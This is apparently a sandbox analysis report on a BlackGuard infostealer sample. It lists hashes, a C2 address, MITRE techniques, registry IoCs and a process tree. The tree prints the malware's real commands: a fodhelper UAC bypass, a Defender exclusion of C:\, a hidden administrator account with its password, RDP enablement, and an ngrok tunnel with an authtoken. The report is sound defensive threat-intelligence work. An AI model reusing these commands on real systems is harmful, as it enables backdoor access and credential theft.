blackguard | c67b6f45d0beb461838f87ca2ad4774b52d7ccf9b0fa36652e8642dc72f43302

Analysis

max time kernel
153s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
30-06-2023 12:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Build1.exe
Size

115KB
MD5

bfaa027a645e567824a10a26fb8dbefd
SHA1

4ab52a0b1cc105a5462c2255ef84be9af431b82e
SHA256

c67b6f45d0beb461838f87ca2ad4774b52d7ccf9b0fa36652e8642dc72f43302
SHA512

2f7ab0e4451cfeec017ba294cfcbc6f02d85c756bebce1cf9b3c69f6c77386fe9a21897734c44f4aa32dcaf3a1b7fbaaf0c4639edab1c8961761767a656b4569
SSDEEP

1536:ztCbuEYE+9z2wpuFavGmhMnDIhzZtz20tnh/:5CbuAsEFNmhMnDIhNI0tnh/

Score

10^/10

blackguard collection evasion persistence spyware stealer upx

Malware Config

Extracted

Family

blackguard

http://94.142.138.111

Signatures

BlackGuard
Infostealer first seen in Late 2021.
stealer blackguard
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Modify Existing Service

T1031

pid	Process
2512	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	vhttd.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
2716	attrib.exe

Allows Network login with blank passwords 1 TTPs 1 IoCs

Allows local user accounts with blank passwords to access device from the network.

Remote Desktop Protocol

T1076

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\LimitBlankPasswordUse = "0"	dtsmsys.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Control Panel\International\Geo\Nation	Build1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Control Panel\International\Geo\Nation	dtsmsys.exe

Executes dropped EXE 4 IoCs

pid	Process
4044	dtsmsys.exe
5008	ngrok.exe
2828	ngrok.exe
3900	vhttd.exe

Loads dropped DLL 1 IoCs

pid	Process
1848	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0009000000023144-305.dat	upx
behavioral2/files/0x0009000000023144-306.dat	upx
behavioral2/memory/3900-310-0x0000000000400000-0x0000000000592000-memory.dmp	upx
behavioral2/files/0x000700000002319a-314.dat	upx
behavioral2/files/0x000700000002319a-315.dat	upx
behavioral2/memory/1848-317-0x00007FFC247D0000-0x00007FFC247F6000-memory.dmp	upx
behavioral2/memory/3900-318-0x0000000000400000-0x0000000000592000-memory.dmp	upx

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dtsmsys.exe
Key opened	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dtsmsys.exe
Key opened	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dtsmsys.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\flWyfUU = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\dtsmsys.exe\""	dtsmsys.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	vhttd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	vhttd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	vhttd.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	vhttd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	87	Go-http-client/1.1

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings	dtsmsys.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command\ = "powershell.exe -command Add-MpPreference -ExclusionPath C:\\"	dtsmsys.exe
Key deleted	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings	dtsmsys.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/vhttd.exe -i"	dtsmsys.exe
Key created	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command	dtsmsys.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/Snup.bat"	dtsmsys.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/ngrok.exe tcp 3389"	dtsmsys.exe
Key created	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open	dtsmsys.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	dtsmsys.exe
Key deleted	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open	dtsmsys.exe
Key deleted	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell	dtsmsys.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/ngrok.exe config add-authtoken 2NyX6XCTEbUWXHKRvIrQm5uLmlE_89gv98vabRAC8AQ1jM6gV"	dtsmsys.exe
Key created	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell	dtsmsys.exe
Key deleted	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000_Classes\ms-settings\Shell\Open\command	dtsmsys.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	ngrok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	ngrok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	ngrok.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4044	dtsmsys.exe
4044	dtsmsys.exe
2680	PowerShell.exe
2680	PowerShell.exe
4044	dtsmsys.exe
3916	PowerShell.exe
3916	PowerShell.exe
3828	PowerShell.exe
3828	PowerShell.exe
2280	PowerShell.exe
2280	PowerShell.exe
2768	PowerShell.exe
2768	PowerShell.exe
1848	svchost.exe
1848	svchost.exe
1848	svchost.exe
1848	svchost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
676	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	Build1.exe
Token: SeDebugPrivilege	4044	dtsmsys.exe
Token: SeDebugPrivilege	2680	PowerShell.exe
Token: SeDebugPrivilege	3916	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	2780	WMIC.exe
Token: SeSecurityPrivilege	2780	WMIC.exe
Token: SeTakeOwnershipPrivilege	2780	WMIC.exe
Token: SeLoadDriverPrivilege	2780	WMIC.exe
Token: SeSystemProfilePrivilege	2780	WMIC.exe
Token: SeSystemtimePrivilege	2780	WMIC.exe
Token: SeProfSingleProcessPrivilege	2780	WMIC.exe
Token: SeIncBasePriorityPrivilege	2780	WMIC.exe
Token: SeCreatePagefilePrivilege	2780	WMIC.exe
Token: SeBackupPrivilege	2780	WMIC.exe
Token: SeRestorePrivilege	2780	WMIC.exe
Token: SeShutdownPrivilege	2780	WMIC.exe
Token: SeDebugPrivilege	2780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2780	WMIC.exe
Token: SeRemoteShutdownPrivilege	2780	WMIC.exe
Token: SeUndockPrivilege	2780	WMIC.exe
Token: SeManageVolumePrivilege	2780	WMIC.exe
Token: 33	2780	WMIC.exe
Token: 34	2780	WMIC.exe
Token: 35	2780	WMIC.exe
Token: 36	2780	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2780	WMIC.exe
Token: SeSecurityPrivilege	2780	WMIC.exe
Token: SeTakeOwnershipPrivilege	2780	WMIC.exe
Token: SeLoadDriverPrivilege	2780	WMIC.exe
Token: SeSystemProfilePrivilege	2780	WMIC.exe
Token: SeSystemtimePrivilege	2780	WMIC.exe
Token: SeProfSingleProcessPrivilege	2780	WMIC.exe
Token: SeIncBasePriorityPrivilege	2780	WMIC.exe
Token: SeCreatePagefilePrivilege	2780	WMIC.exe
Token: SeBackupPrivilege	2780	WMIC.exe
Token: SeRestorePrivilege	2780	WMIC.exe
Token: SeShutdownPrivilege	2780	WMIC.exe
Token: SeDebugPrivilege	2780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2780	WMIC.exe
Token: SeRemoteShutdownPrivilege	2780	WMIC.exe
Token: SeUndockPrivilege	2780	WMIC.exe
Token: SeManageVolumePrivilege	2780	WMIC.exe
Token: 33	2780	WMIC.exe
Token: 34	2780	WMIC.exe
Token: 35	2780	WMIC.exe
Token: 36	2780	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4796	WMIC.exe
Token: SeSecurityPrivilege	4796	WMIC.exe
Token: SeTakeOwnershipPrivilege	4796	WMIC.exe
Token: SeLoadDriverPrivilege	4796	WMIC.exe
Token: SeSystemProfilePrivilege	4796	WMIC.exe
Token: SeSystemtimePrivilege	4796	WMIC.exe
Token: SeProfSingleProcessPrivilege	4796	WMIC.exe
Token: SeIncBasePriorityPrivilege	4796	WMIC.exe
Token: SeCreatePagefilePrivilege	4796	WMIC.exe
Token: SeBackupPrivilege	4796	WMIC.exe
Token: SeRestorePrivilege	4796	WMIC.exe
Token: SeShutdownPrivilege	4796	WMIC.exe
Token: SeDebugPrivilege	4796	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4796	WMIC.exe
Token: SeRemoteShutdownPrivilege	4796	WMIC.exe
Token: SeUndockPrivilege	4796	WMIC.exe
Token: SeManageVolumePrivilege	4796	WMIC.exe
Token: 33	4796	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 4044	2220	Build1.exe	84
PID 2220 wrote to memory of 4044	2220	Build1.exe	84
PID 4044 wrote to memory of 2344	4044	dtsmsys.exe	90
PID 4044 wrote to memory of 2344	4044	dtsmsys.exe	90
PID 2344 wrote to memory of 2680	2344	fodhelper.exe	92
PID 2344 wrote to memory of 2680	2344	fodhelper.exe	92
PID 4044 wrote to memory of 4608	4044	dtsmsys.exe	97
PID 4044 wrote to memory of 4608	4044	dtsmsys.exe	97
PID 4608 wrote to memory of 3916	4608	fodhelper.exe	98
PID 4608 wrote to memory of 3916	4608	fodhelper.exe	98
PID 3916 wrote to memory of 4324	3916	PowerShell.exe	100
PID 3916 wrote to memory of 4324	3916	PowerShell.exe	100
PID 4324 wrote to memory of 3464	4324	cmd.exe	102
PID 4324 wrote to memory of 3464	4324	cmd.exe	102
PID 3464 wrote to memory of 2780	3464	cmd.exe	103
PID 3464 wrote to memory of 2780	3464	cmd.exe	103
PID 3464 wrote to memory of 2280	3464	cmd.exe	104
PID 3464 wrote to memory of 2280	3464	cmd.exe	104
PID 4324 wrote to memory of 552	4324	cmd.exe	105
PID 4324 wrote to memory of 552	4324	cmd.exe	105
PID 552 wrote to memory of 3552	552	net.exe	106
PID 552 wrote to memory of 3552	552	net.exe	106
PID 4324 wrote to memory of 4392	4324	cmd.exe	107
PID 4324 wrote to memory of 4392	4324	cmd.exe	107
PID 4392 wrote to memory of 4092	4392	net.exe	108
PID 4392 wrote to memory of 4092	4392	net.exe	108
PID 4324 wrote to memory of 3376	4324	cmd.exe	109
PID 4324 wrote to memory of 3376	4324	cmd.exe	109
PID 3376 wrote to memory of 4796	3376	cmd.exe	110
PID 3376 wrote to memory of 4796	3376	cmd.exe	110
PID 3376 wrote to memory of 4876	3376	cmd.exe	111
PID 3376 wrote to memory of 4876	3376	cmd.exe	111
PID 4324 wrote to memory of 2828	4324	cmd.exe	112
PID 4324 wrote to memory of 2828	4324	cmd.exe	112
PID 2828 wrote to memory of 4104	2828	net.exe	113
PID 2828 wrote to memory of 4104	2828	net.exe	113
PID 4324 wrote to memory of 4192	4324	cmd.exe	114
PID 4324 wrote to memory of 4192	4324	cmd.exe	114
PID 4192 wrote to memory of 4168	4192	net.exe	115
PID 4192 wrote to memory of 4168	4192	net.exe	115
PID 4324 wrote to memory of 1884	4324	cmd.exe	116
PID 4324 wrote to memory of 1884	4324	cmd.exe	116
PID 4324 wrote to memory of 3396	4324	cmd.exe	119
PID 4324 wrote to memory of 3396	4324	cmd.exe	119
PID 4324 wrote to memory of 1532	4324	cmd.exe	120
PID 4324 wrote to memory of 1532	4324	cmd.exe	120
PID 4324 wrote to memory of 2152	4324	cmd.exe	121
PID 4324 wrote to memory of 2152	4324	cmd.exe	121
PID 4324 wrote to memory of 1640	4324	cmd.exe	122
PID 4324 wrote to memory of 1640	4324	cmd.exe	122
PID 4324 wrote to memory of 5100	4324	cmd.exe	123
PID 4324 wrote to memory of 5100	4324	cmd.exe	123
PID 4324 wrote to memory of 2716	4324	cmd.exe	124
PID 4324 wrote to memory of 2716	4324	cmd.exe	124
PID 4044 wrote to memory of 336	4044	dtsmsys.exe	125
PID 4044 wrote to memory of 336	4044	dtsmsys.exe	125
PID 3828 wrote to memory of 5008	3828	PowerShell.exe	129
PID 3828 wrote to memory of 5008	3828	PowerShell.exe	129
PID 4044 wrote to memory of 5084	4044	dtsmsys.exe	130
PID 4044 wrote to memory of 5084	4044	dtsmsys.exe	130
PID 5084 wrote to memory of 2280	5084	fodhelper.exe	132
PID 5084 wrote to memory of 2280	5084	fodhelper.exe	132
PID 2280 wrote to memory of 2828	2280	PowerShell.exe	134
PID 2280 wrote to memory of 2828	2280	PowerShell.exe	134

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2716	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dtsmsys.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-922299981-3641064733-3870770889-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dtsmsys.exe

C:\Users\Admin\AppData\Local\Temp\Build1.exe
"C:\Users\Admin\AppData\Local\Temp\Build1.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Users\Admin\AppData\Local\Temp\dtsmsys.exe
  "C:\Users\Admin\AppData\Local\Temp\dtsmsys.exe"
  2⤵
  - Allows Network login with blank passwords
  - Checks computer location settings
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:4044
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -command Add-MpPreference -ExclusionPath C:\
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2680
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/Snup.bat
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3916
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Snup.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4324
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3464
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2780
        
        C:\Windows\system32\find.exe
        
        Find "="
        7⤵
        
        PID:2280
      - C:\Windows\system32\net.exe
        
        net user BlackTeam JesF3301asS /add /active:"yes" /expires:"never" /passwordchg:"NO"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:552
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user BlackTeam JesF3301asS /add /active:"yes" /expires:"never" /passwordchg:"NO"
        7⤵
        
        PID:3552
      - C:\Windows\system32\net.exe
        
        net localgroup Administrators BlackTeam /add
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4392
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators BlackTeam /add
        7⤵
        
        PID:4092
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3376
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4796
        
        C:\Windows\system32\find.exe
        
        Find "="
        7⤵
        
        PID:4876
      - C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" BlackTeam /add
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2828
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" BlackTeam /add
        7⤵
        
        PID:4104
      - C:\Windows\system32\net.exe
        
        net accounts /forcelogoff:no /maxpwage:unlimited
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4192
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
        7⤵
        
        PID:4168
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        6⤵
        
        PID:1884
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server'" /v "'fDenyTSConnections'" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:3396
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'" /v "'MaxConnectionTime'" /t REG_DWORD /d 0x1 /f
        6⤵
        
        PID:1532
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'" /v "'MaxDisconnectionTime'" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:2152
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'" /v "'MaxIdleTime'" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:1640
      - C:\Windows\system32\reg.exe
        
